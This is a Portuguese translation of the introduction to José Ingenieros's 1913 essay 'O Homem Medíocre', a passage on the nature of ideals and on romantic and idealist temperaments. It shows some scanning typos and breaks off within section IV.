A MORAL DOS IDEALISTAS – Introdução de “O Homem Medíocre” de José Ingenieros

O Homem Medíocre (1913)

José Ingenieros (1877-1925)

INTRODUÇÃO – A
MORAL DOS IDEALISTAS

i.    a emoção 
do  ideal.  —  ii.    de  um  idealismo  com
fundamento na experiência. — iii.    os temperamentos  idealistas.  — iv.    o  idealismo  romântico.  — v. o idealismo estóico. — vi.     símbolo.

 

I — A emoção do ideal

Quando orientas a proa visionária em
direção a uma estrela, e desdobras as azas para atingir tal excelsitude
inacessível, ansioso de perfeição rebelde à mediocridade, levas em ti o impulso
misterioso de um Ideal. É áscua sagrada, capaz de te preparar para grandes
ações. Cuida-a bem; se a deixares apagar, jamais
êle se reacenderá. E se ela morrer em ti, ficarás inerte: fria bazófia
humana.

Vives apenas devido a essa partícula
de sonho que te sobrepõe ao real. Ela é o liz do teu brazão e
penacho
do
teu temperamento. Signos inumeráveis a revelam: — quando se te aperta a
garaganta, ao recordar a cicuta imposta a Sócrates, a cruz içada
a Cristo, ou a fogueira acendida a Bruno; — quando te abstrais ao infinito,
lendo um diálogo de Platão, um ensaio de Montaigne, ou um discurso
de Helvétio;

quando o teu coração se estremece, ao pensar na sorte desigual dessas paixões,
durante as quais foste,
alternadamente, o
Romeu de tal Julieta
e
o Werther
de
tal Carlota;

quando as tuas fontes se gelam de emoção, ao declamar uma estrofe de Musset,
que
rima de acordo com o teu sentir; — e quando, em suma, admiras a mente preclara
dos genios, a sublime virtude
dos
santos, o magno feito
dos
heróis,
inclinando-te,
com
igual
veneração
diante
dos criadores da Verdade
ou da
Beleza.

Nem todos se extasiam, como
tu, ante um crepúsculo, nem
sonham ante
uma
aurora,
nem
vibram ante
uma
tempestade; nem todos gostam de passear com Dante, rir com Moliere,
tremer
com Shakespeare,
crepitar com
Wagner; nem todos emudecem diante do Davi, da Ceia ou do Partenão.

É dada a poucos essa inquietude de
perseguir avidamente alguma quimera, venerando filósofos artistas e
pensadores, que fundiram, em sínteses supremas, suas visões do sêr e da
eternidade, voando para além do Real.

Os seres da tua estirpe, cuja imaginação se povoa
de ideais e cujo sentimento polariza em direção a eles a personalidade inteira,
formam uma raça aparte, na humanidade: — são idealistas.

Quem se sentir poeta, definindo sua
própria emoção, poderá dizer: — o Ideal ó um impulso do
espírito no sentido da perfeição.

 

II — De um idealismo com fundamento

Os filósofos do futuro, para se
aproximarem de formas de expressão cada vez menos inexatas, deixarão aos
poetas o famoso privilégio da linguagem figurada; e os sistemas futuros,
desprendendo-se de remotos resíduos místicos e dialéticos, irão tomando a experiência
como fundamento de toda hipótese legítima.

Não é afoiteza
pensar
que, na ética do porvir, florescerá um idealismo moral, independente de
dogmas religiosos e de apriorismos metafísicos; os ideais da perfeição,
fundados na experiência social, e evolutivos como ela própria, constituirão a
íntima conexão de uma doutrina de perfetibilidade indefinida,
propícia a todas as possibilidades da elevação humana.

Um ideal não é uma fórmula morta,
senão uma hipótese perfectível; para que sirva, deve ser concebida assim, atuante em
função da vida social, perpetuamente in fieri. A imaginação, partindo
da experiência, antecipa juízos acerca de futuros aperfeiçoamentos; os ideais,
em todas as crenças, representam o resultado mais alto da função de pensar.

A evolução humana é um esforço
contínuo do homem para se adaptar à natureza, que evolue por sua vez. Para
isso, é preciso conhecer a realidade ambiente e prever o sentido das próprias
adaptações: os caminhos da sua perfeição. Suas etanas se refletem na
mente humana, como ideais. Um homem, um grupo ou uma rara, são idealistas,
porque circunstâncias propícias determínam que a imaginação conceba aperfeiçoamentos
possíveis.

Os ideais são formaeões naturais.
Aparecem quando a função de pensar atinge um grau de desenvolvimento tal. que
a imaginarão pode antecipar-se
à
experiência. Não são entidades misteriosamente infundidas nos homens, nem nascem
do acaso. Formam-se,
como
todos os fenômenos
acessíveis
à nossa observarão. São efeitos de causas, acidentes na evolução universal, investigada
pelas ciências e resumida pelas filosofias. E ó fácil explicá-lo.
quando se compreende.

O nosso
sistema solar é um ponto no cosmos; esse ponto é um simples pormenor do planeta
que habitamos; nesse pormenor, a vida é um transitório equilíbrio químico da
superfície; entre as complicações desse equilíbrio vivente, a espécie humana
data de um período brevíssimo; no homem se desenvolve a função de pensar, como
um aperfeiçoamento da adaptação ao meio; uma das suas modalidades, é a
imaginação, que permite
generalizar os dados da Experiência, antecipando seus resultados possíveis e
abstraindo, dela, ideais de perfeição.

Assim, a história do futuro, ao invés
de negá-los, permitirá afirmar a sua realidade como aspectos legítimos da
função de pensar, e os reintegrará na concepção natural do universo. Um ideal
é um ponto e um momento, em meio dos infinitos possíveis que povoam o  espaço e o
tempo.

•••

Evoluir é variar. Na evolução humana o
pensamento varia incessantemente. Toda variação é adquirida por temperamentos
predispostos; as variações úteis tendem a conservar-se. A Experiência
determina a formação natural dos conceitos genéricos, cada vez mais sinóticos; deste,
a imaginação abstrai certos caracteres comuns, elaborando idéias gerais que
podem ser hipóteses acerca do fieri incessante: assim se formam os
ideais, que, para o homem, são normativos da conduta, de conformidade com suas
hipóteses. Eles não são apriorísticos, sinão induzidos de
uma vasta experiência; sobre esta se inclina a imaginação, para prever o
sentido em que a Humanidade varia. Todo ideal representa um novo estado de
equilíbrio entre o passado e o futuro.

Os ideais podem não ser verdades: são
crenças. Sua força se estriba em seus elementos afetivos; influem
sobre nossa conduta, na medida em que neles cremos. Por isso, a representação
abstrata das variações futuras, adquire um valor moral: as mais proveitosas
para a espécie, são concebidas como aperfeiçoamentos. O Futuro se
identifica com o perfeito. E, os ideais, por serem visões
antecipadas do vindouro, influem sobre a conduta, e são
instrumento natural de todo o progresso humano.

 

 

Enquanto a instrução se limita a
dilatar as noções que a experiência atual considera mais exatas, a educação
consiste em sugerir os ideais que se presumem propícios à perfeição .

***

O conceito do melhor é um resultado
natural da própria evolução. A vida tende, naturalmente, a aperfeiçoar-se.
Aristóteles
ensinava que a atividade
é
um movimento do sêr em direção à própria "entelequia": seu
estado de perfeição.

Tudo o que existe, procura a sua
"entelequia", e essa tendência se reflete na mente dos
seres imaginativos .

Como acontece a todas as outras
funções do espírito, a formação de ideais está submetida a um determinismo
que, por ser complexo, não é menos absoluto. Não são obra de uma liberdade que
escapa às leis do todo universal, nem produtos de uma razão pura que ninguém
conhece. São crenças aproximativas- acerca da perfeição vindoura. O futuro é o
melhor do presente, posto que sobrevive na seleção natural; os
ideais são arremesso no sentido do melhor, enquanto simples antecipações do
vir-a-ser.

À medida que a experiência humana se
amplia, observando a realidade, os ideais vão sendo modificados pela
imaginação, que é plástica e jamais repousa. Experiência e imaginação seguem
caminhos paralelos, muito embora aquela se atraze em relação a esta. A hipótese
vôa, o feito caminha; às vezes
tem
a aza má direção; os pés pisa sempre em terra firme; mas o vôo pode
ser retificado,
enquanto
que o passo nunca pode voar.

A imaginação é mãe de toda
originalidade; deformando o real, no sentido da sua perfeição, ela cria os
ideais, dando-lhe
impulso,
com o ilusório sentimento da

liberdade;
o livre arbítrio é erro útil para a gestação dos ideais.
Porisso, tem praticamente o valor de uma realidade. Demonstrar que é simples
ilusão devida à ignorância de causas inúmeras, não implica na negação da sua
eficácia.

As ilusões têm tanto valor, para dirigir a conduta,
como as verdades mais exatas; podem valer mais do que elas, quando intensamente
pensadas ou sentidas.

O desejo de ser livre nasce do
contraste entre dois móveis irredutíveis: a tendéncia a
perseverar no
sêr, implícita na herança, e a tendência a aumentar o sêr, implícita na
variação. Uma é princípio de estabilidade, outra, de progresso.

Em todo ideal, seja qual fôr a ordem a cujo aperfeiçoamento,
tenda, há um princípio de síntese e de continuidade: "É idéia fixa, ou
emoção fixa".

Como propulsores
da atividade humana, equivalem-se e se implicam reciprocamente, muito embora
predomine o raciocínio na primeira, e a paixão na segunda.

"Esse princípio de unidade, centro de atração
e ponto de apoio de todo trabalho da imaginação criadora, isto é, de uma
síntese subjetiva que tende a objetivar-se, é o ideal", disse Ribot.

A imaginação despe a realidade de tudo
o que é máu, adornando-a de tudo o que é bom, depurando a Experiência e cristal
izando-a
nos
moldes de perfeição que concebe como sendo os mais puros. Os ideais são,
portanto, preconstruções imaginativas da realidade que virá a ser.

São sempre individuais. Um ideal
coletivo é a coincidência do muitos indivíduos num mesmo afã de perfeição.
Não é dizer que uma "idéia" os unifique, e, sim, que uma análoga
maneira de sentir e de pensar converge todos eles para um "ideal"
comum. Cada éra, século ou geração pode ter seu ideal; só ser patrimônio de
uma seleta
minoria,
cujo esforço consegue impô-lo às gerações seguintes. Cada ideal pode incarnar-se
num gênio;
a
princípio, enquanto êle o define ou plasma, só é compreendido pelo pequeno
núcleo de espíritos sensíveis ao ritmo da nova crença.

*
* *

O conceito abstrato de uma
perfeição possível, recebe sua força da Verdade que os homens lhe atribuem;
todo ideal é uma fé na própria possibilidade da perfeição. No seu protesto
involuntário contra o mal, sempre se revela uma indestrutível esperança no
melhor; na sua agressão contra o passado, fermenta uma sadia levedura do
porvir.

Não é um fim, sinão um caminho. É
sempre relativo, como toda crença. A intensidade, com que tende a realizar-se, não
depende da sua verdade efetiva,
e,
sim, da que se lhe atribue. Ainda quando interpreta erroneamente a sua verdade
ou na sua excelsitude.

Reduzir o idealismo a um dogma de
escola metafísica, equivale a castrá-lo; denominar idealismo às fantasias de
mentes enfermiças ou ignorantes, que crêem sublimar, assim, a sua incapacidade
de viver e de se ilustrar, é uma das tantas ligeirezas aventadas pelos
espíritos palavreiros.

Os mais vulgares dicionários
filosóficos alimentam suspeitas em relação a este embuste deliberado:
"Idealismo; palavra muito vaga, que não deve ser empregada sem prévia
explicação".

Há tantos
idealismos como ideais e tantos ideais como idealistas; tantos idealistas como
homens aptos para conceber perfeições e capazes de viver
no senti-do
delas.

Deve recusar-se o monopólio dos
ideais a todos quantos o reclamam em nome de escolas
filosóficas,
sistemas de moral, credos de religião, fanatismos de seitas, ou dogmas de
estética.

O "Idealismo" não é privilégio das
doutrinas espiritualistas, que desejariam opô-lo ao "materialismo",
denominando,
assim pejorativamente, todas as outras; esse equívoco, não explorado pelos
inimigos das ciências — temidas justamente como fontanários de Verdade e de
Liberdade — duplica-se ao sugerir que a matéria é a síntese da idéia, depois de
confundir o ideal com idéia e esta com o espírito, como entidade transcendente
e alheia ao mundo real. Tratava-se, visivelmente, de um jogo de palavras,
secularmente repetido pelos seus beneficiários, que emprestam às doutrinas
filosóficas o sentido que têm os vocábulos "idealismo" e "materialismo",
na
ordem moral. O anelo
de
perfeição, no conhecimento da verdade, pode animar, com igual ímpeto, o
filósofo monista e o dualista, o teólogo e o ateu, o estóico
e
o pragmatista.
O
ideal particular de cada um concorre ao ritmo total da perfeição possível, ao
invés de obter o esforço similar dos demais.

E é mais mesquinha, ainda, a tendência
a confundir o idealismo que se refere aos ideais, com as tendências
metafísicas, que assim se denominam, pela razão de considerarem as
"idéias" mais reais do que a própria realidade, ou pressuporem que
elas são a realidade única, forjada pela nossa mente, como no sistema
hegeliano.

"Ideólogos" não pode ser sinônimo de
"Idealistas", embora o mau vezo induza a crer que
assim seja. Nem poderíamos restringí-lo ao pretendido idealismo de certas
escolas estéticas, porque todas as modalidades do naturalismo e do realismo
podem constituir um ideal de arte, quando são seu sacerdotes Miguel Ângelo,
Ti-ciano, Flaubert
ou
Wagner; o esforço imaginativo dos que buscam uma ideal harmonia de ritmos, de
cores,
de linhas ou de sons, se equivale, sempre que a sua obra revele uma atitude de
beleza ou uma personalidade original.

Não o confundiremos, enfim, com certo
idealismo ético, que tende a monopolizar o culto da perfeição em favor de
alguém dos fanatismos religiosos predominantes em cada época, pois, além de
não existir um único e inevitável, Bem ideal, dificilmente êle caberia nos
catecismos para mente obtusas. O esforço individual no sentido da virtude,
pede ser tão magnificamente concebido e realizado pelo peripatético, como pelo
cirenáico,
pelo
cristão, como pelo anarquista, pelo filantropo como pelo epicureu, pois todas
as teorias filosóficas, são igualmente compatíveis com a aspiração individual
no sentido do aperfeiçoamento humano. Todos eles podem ser idealistas, quando
sabem iluminar-se
em
sua doutrina, e em todas as doutrinas podem albergar-se os dignos e os
parasitas, os virtuosos e os sem vergonha. O anelo e a possibilidade da
perfeição não são patrimônio de nenhum credo: recordam a água daquela fonte,
citada por Platão, que se não podia conter em nenhum vaso.

A Experiência, e só ela, decide na
legitimidade dos ideais em cada tempo e lugar. No curso da vida social, selecionam-se naturalmente;
sobrevivem os mais adaptados, os que melhor prevêem o sentido da evolução,
isto é, os coincidentes com o aperfeiçoamento efetivo.

Enquanto a Experiência não dá o seu
veredicto, todo ideal é respeitável, embora pareça absurdo. E é útil, por sua
força de contraste. Se é falso, morre por si, não causa dano.

Todo ideal, por ser uma crença, pode
conter uma parte de erro, ou ser errado totalmente; é uma visão remota e,
portanto, exposta a ser inexata.
O
único mal â carecer de ideais e escravizar-se às
contingências da
vida prática imediata, renunciando à possibilidade da perfeição moral.

***

Quando um filósofo enuncia ideais, para o homem ou
para a sociedade, a compreensão imediata deles é tanto mais difícil, quanto
mais se elevam sobre os prejuízos e palavreados convencionais do ambiente que
o rodeia; o mesmo acontece com a verdade do sábio e com o estilo do poeta.

A sanção alheia é fácil para o que concorda com
rotinas secularmente praticadas; é difícil, quando a imaginação põe maior
originalidade no conceito ou na forma.

Esse desequilíbrio, entre a perfeição concebível
e
a realidade praticável,
se
estriba
na
própria natureza da imaginação, rebelde ao tempo e ao espaço. Desse contraste
legítimo, não se infere que os ideais lógicos, estéticos ou morais, devam ser
contraditórios entre si, embora sejam heterogêneos e marquem passo em ritmo
desigual, segundo os tempos: não há uma Verdade amoral ou feia, nem nunca foi
a Beleza absurda ou nociva, nem o Bom teve suas raízes no erro ou na desarmonia.
Do
contrário, conceberíamos perfeições imperfeitas.

São convergentes os caminhos de
perfeição. As formas infinitas do ideal são complementares;
jamais
contraditórias, embora pareçam. Si o ideal da ciência é a Verdade, da moral o
Bem, e da arte a Beleza, formas proeminentes de toda excelsitude, não se
concebe que possam ser antagônicas.

Os ideais estão em perpétuo vir-a-ser,
como as formas da realidade, às quais se antecipam. A imaginação os constrói
observando a natureza, como um resultado da Experiência; mas, uma vez formados,
já não estão nela, são antecipações dela, vivem sobre ela, para assinalar o
seu futuro. E, quando a realidade evolui no sentido de um
ideal previsto, a imaginação se aparta novamente da realidade, dela afasta o
ideal.

A realidade nunca pode igualar o
sonho, nessa perpétua busca da quimera.

O ideal é um "limite": toda
realidade é uma "dimensão variável", que se lhe pode aproximar indefinidamente,
sem alcançá-la nunca. Por muito que o "variável" se aproxime do seu
"limite", concebe-se
que
poderia aproximar-se
ainda
mais; só se confundem no infinito. Todo o ideal é sempre relativo a uma imperfeita
realidade presente. Não há ideal absoluto. Afirmá-lo implicaria na abjuração
da sua própria essência, negando a possibilidade infinita da perfeição. Erravam
os velhos moralistas cuidando que, ao ponto onde estava o seu espírito, nesse
momento, convergiam todo o espaço e todo o tempo; para a ética moderna, livre
dessa grave falácia, a relatividade dos ideais é um postulado fundamental. Só
possuem um caráter
comum:
a permanente transformação no sentido de aperfeiçoamentos ilimitados.

Toda moral alicerçada em superstições
e dogmatismos, é própria de mentes primitivas. E é contrária a todo idealismo,
além de excluir todo ideal. A cada momento e em cada lugar, a realidade varia;
com essa variação, desloca-se o ponto
de referência dos ideais. Nascem e morrem, convergem ou se excluem, empalidecem ou se acentuam; são, também eles,
viventes como os
cérebros
em que germinam ou se radicam, num processo sem fim. Não
havendo um padrão final e in superável de
perfeição, também não há dois ideais hu mamos. Formam-se por
mudança incessante; evoluem sempre; sua palingenésia é eterna.

*
* *

Essa evolução dos ideais não segue um
ritmo uni forme,
no
curso da vida social ou individual. Há climas morais, horas, momentos, em que
toda uma raça, um povo, uma classe, um partido, uma ceita, concebe um
ideal e se esforça no sentido da sua realização. E os há na evolução de cada
homem, isoladamente considerado.

Há também climas, horas e momentos em
que os ideais murmuram apenas, ou se calam; a realidade oferece imediatas
satisfações aos apetites, e a tentação da saciedade sufoca toda
ânsia de perfeição.

Cada época tem certos ideais que pressentem melhor
o porvir, entrevistos por poucos, seguidos pelo povo ou sufocados pela sua
indiferença, ora predestinados a orientá-lo como pólos magnéticos, ou a ficar
latentes, até encontrarem a glória, em momento e clima propícios. E outros
ideais morrem, porque são crenças falsas: ilusões que o homem forja a respeito
de si mesmo, ou quimeras verbais que os ignorantes perseguem, tateando na
sombra.

*
* *

Sem ideais, seria inexplicável a
evolução humana. Sempre existiram e existirão sempre. Palpitam atrás de todo
esforço magnífico realizado por um homem ou por um povo. São faróis sucessivos
na evolução mental dos indivíduos, bem como das raças. A imaginação os acende,
ultrapassando continuadamente
a
Experiência, antecipando-se aos seus resultados. Essa é a lei do vir-a-ser
humano: os acontecimentos destituídos de significação, de per si, para a mente
humana, recebem vida e calor dos ideais, sem cuja influência jazeriam
inertes, e os séculos seriam mudos. Os feitos são pontos de partida: os ideais
são faróis luminosos que, de trecho em trecho, iluminam a rota. A história da
civilização mostra uma infinita inquietude de perfeições, que os grandes
homens pressentem, anunciam ou simbolizam. À frente desses arautos, em cada
momento
da peregrinação humana, adverte-se
uma
força que obstroi todas as sendas: a mediocridade, que é uma incapacidade de
ideais.

*
**

Assim concebido, convém reintegrar o
idealismo em toda filosofia científica. Talvez pareça estranho aos que usam
palavras sem definir o seu sentido, bem como aos que temem complicações nas logomaquias
dos
verbalistas.

Definido com clareza, separado de suas
maldades seculares, será sempre o privilégio de todos quanto honram, por sua
virtude, a espécie humana.

Como doutrina de perfectibilidade,
superior a toda imaginação dogmática o idealismo ganhará, certamente.
Tergiversando pelos míopes e pelos fanáticos, rebaixa-se. Eram os
que olham o passado, determinando rumos em direção a prejuízos mortos e
vestindo o idealismo com andrajos que são a sua mortalha; os ideais vivem na
Verdade, que se vai fazendo; nem pode ser vital aquele que o contradiga quanto
ao tempo. É cegueira opôr a imaginação do futuro à experiência do precedente,
o Ideal à Verdade, como se fosse conveniente apagar as luzes do caminho, para
não se desviar da meta. É falso: a imaginação e a experiência marcham de mãos
dadas. Sòsinhas, não andam.

Ao idealismo dogmático, que os antigos
metafísicos colocaram nas "idéias"
absolutas
e apriorísticas, opomos um idealismo experimental, que se refere aos
"ideais" de perfeição, incessantemente renovados, plásticos,
volutivos, como a própria vida.

III — Os temperamentos idealistas

Nenhum Dante poderia elevar Gil Blas,
Sancho e Tartufo até o rincão do seu paraíso, onde
moram Cyrano,
Quixote
e Stockmann.
São
dois mundos morais, duas raças, dois temperamentos: Sombras e Homens. Seres
desiguais não podem pensar de maneira igual. Haverá sempre um contraste
evidente entre o servilismo e a dignidade, a necessidade e o engenho, a hipocrisia
e a virtude. A imaginação dará, a uns, o impulso original, no sentido do
perfeito; a imitação organizará, nos outros, os hábitos coletivos. Sempre
haverá, por força, idealistas e medíocres.

O aperfeiçoamento humano se efetua com um ritmo
diferente nas sociedades e nos indivíduos. A maioria possue uma experiência
submissa ao passado: rotinas, preconceitos, domesticidades. Poucos eleitos variam,
avançando para o porvir; ao contrário do Anteu, que tocando a
terra, recebia novo alento, os poucos eleitos o buscam cravando suas pupilas em
constelações longínquas, e, na aparência, inacessíveis. Esses homens
predispostos a se emanciparem do seu rebanho, procurando alguma perfeição mais
para além do atual, são "idealistas".

A unidade do gênero não depende do conteúdo intrínseco
dos seus ideais, e, sim, do seu temperamento; a gente é idealista perseguindo
as quimeras mais contraditórias, sempre que elas impliquem um sincero afã de
elevação qualquer. Os espíritos convulsionados por algum
ideal, são inimigos da mediocridade: sonhadores contra os utilitários,
entusiastas contra os apáticos, generosos com os calculadores, indisciplinados
contra os dogmáticos.

São alguém, ou alguma cousa, contra os que
não são ninguém, nem cousa alguma. Todo idealista é homem
qualitativo; possue um sentido das diferenças que lhe permite distinguir, entre
o mau, que observa, e o melhor, que imagina. Os homens sem ideais são quantitativos;
podem apreciar o mais ou menos, mas nunca distinguem o melhor do pior.

• • •

Sem idealistas, seria inconcebível o
progresso. O culto do "homem prático", limitado às contingências do
presente, importa numa renúncia a toda perfeição. O hábito organiza a rotina, e
nada cria no sentido do porvir; só dos imaginativos é que a ciência espera as
suas hipóteses, a arte, o seu vôo, a moral, os seus exemplos, a história
as suas páginas luminosas. São a parte viva e dinâmica da humanidade; os
práticos nada mais fizeram do que aproveitar do seu esforço, vegetando na
sombra. Todo porvir tem sido uma criação dos homens capazes de o pressentir,
concretizando-o numa infinita sucessão de ideais. A imaginação, construindo sem
tréguas, fez mais do que o cálculo, destruindo sem descanso. A excessiva
prudência dos medíocres paralizou sempre as iniciativas mais fecundas. E isto
não quer dizer que a imaginação exclua a experiência: esta é útil, mas, sem
aquela, é estéril. Os idealistas aspiram conjugar, em sua mente, a inspiração
e a sabedoria; por isso, com frequência, vivem peados por seu espírito crítico,
quando os entusiasma uma emoção lírica, e esta lhes empana a vista quando
observam a realidade. Do equilíbrio entre a inspiração e a sabedoria, nasce o gênio. Nas
grandes horas, de uma raça ou de um homem,

a   inspiração
é indispensável para criar; essa faísca se acende na
imaginação, e a experiência a converte em fogueira. Todo
idealismo é, por isso, uma ânsia de cul-tura intensa:
tem, entre os seus inimigos mais audazes, a   ignorância,
madrasta de obstinadas rotinas.

A humanidade não chega até onde querem
os idea-listas, em cada perfeição particular; contudo, sempre chega mais além de onde teria ido sem
o seu esforço. Um
objetivo
que
foge diante deles, converte-se
em
est ímulo
para perseguir novas quimeras. O pouco que todos podem, depende do muito que
alguns anhelam.
A
humanidade n ão possuiria seus bens presentes, se alguns idealistas não
tivessem conquistado, vivendo com a obsidente aspiração a outros melhores.

Na evolução humana, os ideais se mantêm em equilíbrio
instável. Todo melhoramento real é recebido de tentativas e ensaios de
pensadores audazes, postos em tensão no sentido dele, rebeldes ao passado,
embora sem a intensidade necessária para violá-lo; essa luta é um refluxo
perpétuo
entre o mais concebido e o menos realizado. Porisso, os idealistas são
forçosamente inquietos, com tudo o que vive, como a própria vida: contra a
tendência pacífica dos rotineiros, cuja estabilidade parece inércia de morte.
Essa inquietude se exacerba nos grandes homens, nos próprios gênios, se o meio
é hostil às suas quimeras, como acontece freqüentemente. Não agita os homens
sem ideais, informe argamassa da humanidade.

*
* *

Toda juventude é inquieta. Só dela é que se pode
esperar o impulso no sentido do melhor: jamais dos bolorentos e dos senis. E só é
juventude, sadia e iluminada, aquela que olha para a frente e não para trás;
nunca os decrépitos de poucos anos, prematuramente domesticados pelas
superstições do passado.

O que, nestes, parece primavera, é tibieza
outonal, ilusão
de aurora que já é amortecimento de crepúsculo. Só há juventude nos que, com
entusiasmo, trabalham para o porvir; por isso, nos caracteres excelentes,
pode persistir e sobrepujar a acumulação dos anos.

Nada se deve esperar dos homens que
entram na vida sem se entusiasmarem por algum ideal; aos que nunca foram
jovens, parece desvairado todo sonho. Não se nasce jovem;
é preciso adquirir a juventude. E, sem ideal, não é possível adquirí-la.

*
* *

Os idealistas soem ser esquivos ou
rebeldes aos dogmatismos sociais que os oprimem. Resistem à tirania da
engrenagem niveladora, aborrecem toda coação, sentem o peso das honrarias com
que se tenta domesticá-los, e torná-los cúmplice dos interesses criados, dóceis,
maleáveis, solidários, uniformes, na comum mediocridade. As forças
conservadoras, que compõem o subsolo social, pretendem amalgamar os
indivíduos, deca-pitando-os: detestam as diferenças, aborrecem as exceções, anatematizam
aquele que se aparta, em busca da própria personalidade.

O original, o imaginativo, o criador,
não teme ódios; desafia-os,
mesmo
sabendo que são terríveis, porque são irresponsáveis. Por isso, todo idealista
é uma vivente afirmação de individualismo, muito embora ande em busca de uma quimera social: pode
viver para os outros, nunca dos outros. Sua independência é uma reação hostil
a todos os dogmáticos. Concebendo-se incessantemente perfectíveis, os
temperamentos idealistas querem
dizer,
em todos os momentos de sua vida, como (Quixote: "eu sei quem sou!".

Vivem animados por esta ânsia
afirmativa. Cifram a sua ventura suprema e a sua perpétua desgraça nos seus
ideais. Nestes, purificam a paixão que anima a sua té; esta, ao ir de encontro
à realidade social, pode parecer desprezo,
isolamento, misantropia: a clássica "torre
de marfim", exprobada em todos
quantos se eriçam ao contacto dos obtusos.

Dir-se-ia que Teresa de Ávila deixou
escrita a eter-na
imagem
deles:

"Gúsanos de seda
somos nós, pequeninos gusanos que fiamos a
seda de nossas vidas; e no pequenino casulo de seda
nos encerramos para que o gusano morra e do casulo sáia voando a
mariposa".

***

Todo idealista é exagerado;
precisa sê-lo.
E
deve
ser
quente
a
sua
linguagem, como
se a personalidade
se
transvasasse
sobre
o impessoal;
o
pensamento
sem calor
é morto,
frio, carece
ae estilo, não
tem cunho ca-racterizador.
Nunca foram
débeis os
gênios,
os
santos e os heróis.
Para
criar uma partícula de Verdade,
de
Virtude,
de
Beleza,
é
mister
um esforço original
e violento, contra alguma
rotina ou preconceito; da mesma forma que, para dar uma lição de
dignidade,
é
necessário
deslocar algum servilismo.

Todo
ideal é, instintivamente, extremoso. Deve sê-lo com conciencia,
se fôr
preciso,
por logo se rebaixa
ao incidir
na mediocridade
da
maioria.

Diante
dos hipócritas, que mentem,
tendo em vista
objetivos vis, o exagero dos idealistas é, apenas urna verdade
apaixonada. A
paixão
é
o seu
atributo
necessário,
mesmo quando parece
desviar-se
da
verdade;
conduz à hipérbole,
ao
erro, até; nunca, à mentira.

Nenhum ideal é
falso, para quem o professa; este o crê verdadeiro, e coopera em prol do seu
advento, com fé, com desinteresse. O sábio procura a Verdade, pelo gosto de a
procurar, e tem prazer em arrancar à natureza segredos para êle inúteis ou
perigosos. E o artista procura também a sua, porque a Beleza é uma verdade
animada pela imaginação, mais do que pela experiência. E o moralista a persegue
no Bem, que é uma reta lealdade da conduta para consigo mesmo e para com os
outros. Ter um ideal, é servir à sua própria Verdade. Sempre.

***

Alguns ideais se revelam como paixão combativa» e
outros com pertinaz
obsessão;
de igual maneira, distinguem-se
dois tipos de idealistas, de acordo com o que neles predomina: o cérebro ou o
coração. O idealismo sentimental é romântico: a imaginação não é inibida pela
crítica, e os ideais vivem de sentimento. No idealismo experimental, os ritmos afetivos são
veiculados pela experiência, e a crítica coordena a imaginação: os ideais tornam-se reflexivos
e serenos. O primeiro é adolescente, cresce, faz esforços, luta; o segundo é
adulto, fixa-se
resiste,
vence.

O idealista perfeito seria romântico
aos vinte anos, e, estóico aos cinquenta; é tão anormal o estoicismo na
juventude, como o romantismo na idade madura.

O   que, a
princípio, inflama a sua paixão, deve cristalizar-se depois, em
suprema dignidade: essa é a lógica do seu temperamento.

 

IV — O idealismo romântico

 

Os idealistas românticos são
exagerados, porque o insaciáveis. Sonham o mais, para realizar o menos;
compreendem que todos os ideais contêm uma partícula de utopia, e
perdem alguma coisa, quando se realizam: de raças ou indivíduos, nunca se integram
como se pensam. Em poucas coisas o homem pode chegar ao Ideal que a imaginação
assinala; sua glória está em mar-char na direção dele, sempre inatingido e
inatingível.

Depois de iluminar o seu espírito com
todos os respendores da cultura humana, Goethe morre pedin-do mais
luz; e Musset quer amar incessantemente depois   de ter amado, oferecendo a sua
vida por uma caricia, e o seu gênio por um beijo, Todos os românticos parece que perguntam a
si próprios,
como o poeta:

"Por que não é infinito
o poder humano, como o desejo?"

Têm uma curiosidade de mil olhos,
sempre alerta, para não perder a mais imperceptível titilação do mundo que a
solicita. Sua sensibilidade é aguda, plural, caprichosa, artista, como se os
nervos tivessem centuplicado a sua impressionabilidade.
Seu
gesto segue prontamente o caminho das inclina ções nativas; entre dez partidos,
adotam aquele sublinhado pelo latejar mais intenso do seu coração.
São dionisíacos. Suas aspirações se traduzem por esforços ativos sobre o meio
social, ou por uma hostilidade contra tudo o que se opõe aos seus impulsos do
coração e aos seus sonhos. Constituem seus ideais sem conceber nada à
realidade, recusando-se à fiscalizarão da experiência, agredindo-a, si ela os
contraria. São ingênuos e sensíveis, fáceis de se comoverem, acessíveis ao
entusiasmo e à ternura; com essa ingenuidade sem dobrez, que os homens práticos
ignoram. Um minuto lhes basta para decidir toda uma vida. Seu ideal se
cristaliza em firmezas inequívocas, quando a realidade os fere com mais
crueldade.

***

Todo romântico está por Quixote
contra
Sancho,
por
Cyrano
contra
Tartufo,
por
Stokmann
contra
Gil
Blas: por
qualquer ideal contra toda mediocridade. Prefere a flor ao fruto,
pressentindo que este não poderia existir, jamais, sem aquela. Os
temperamentos acomodaticios sabem que a vida norteada pelo
interesse abunda em proveitos materiais; os românticos crêem que a sunrema
dignidade
se enclausura no sonho e na paixão. Para eles, um beijo de tal mulher vale mais
do que cem tesouros de Golconda.

Sua eloqüência está no coração: dispõem essas razões
que a razão ignora, como dizia Pascal. Nelas se estriba o encanto
irresistível dos Musset
e
dos Byron;
sua
tempestuosidade apaixonada nos estremece, nos sufoca, como se uma garra
apertasse o nosso pescoço; faz sobressaltar
as
veias, humedece
as
pálpebras,
entrecorta a
respiração. Suas heroínas e seus protagonistas povoam as insónias juvenis, como
se eles as tivessem descrito com vara mágica molhada no cálice de poetisa
grega; Safo, por exemplo, a mais lírica. Seu estilo é de luz e de côr, sempre inflamando, queimando às vezes. Escrevem como falam os
temperamentos apaixonados, com essa eloqüência das vozes enrouquecidas por um
desejo ou por um excesso, essa "você é calda que enlouquece as mulheres
finas, e faz um Dom Juan de cada amante romântico. São eles os
aristocratas do amor; com eles sonham todas as Julietas e Isoldas. inutilmente
conspiram contra eles as embuçadas hipocrisias
mundanas: os espíritos sáfios desejariam inventar uma balança para pesar a
utilidade imediata de suas inclinações. Como não a possuem, renunciam a 
adotá-las.

O
homem incapaz de alimentar nobres paixões, foge do amor. como se fosse um
abismo; ignora que o amor acrisola todas as virtudes, e é o mais eficaz dos mora-listas.
Vive
e morre sem ter aprendido a amar. Ridiculariza este sentimento, guiando-se
pelas sugestões de sordidas conveniências. Os outros é que lhe elegem primeiro as namoradas,
e lhe impõem, depois, a esposa. Pouco lhe importa a fidelidade das primeiras,
enquanto lhe servem de adorno; nunca exige inteligência na outra, se fôr um degrau no seu mundo. Seu amor
se in-cuba na tibieza do critério alheio.
Musset
parece-lhe
pouco sério, e acha que Byron é infernal;
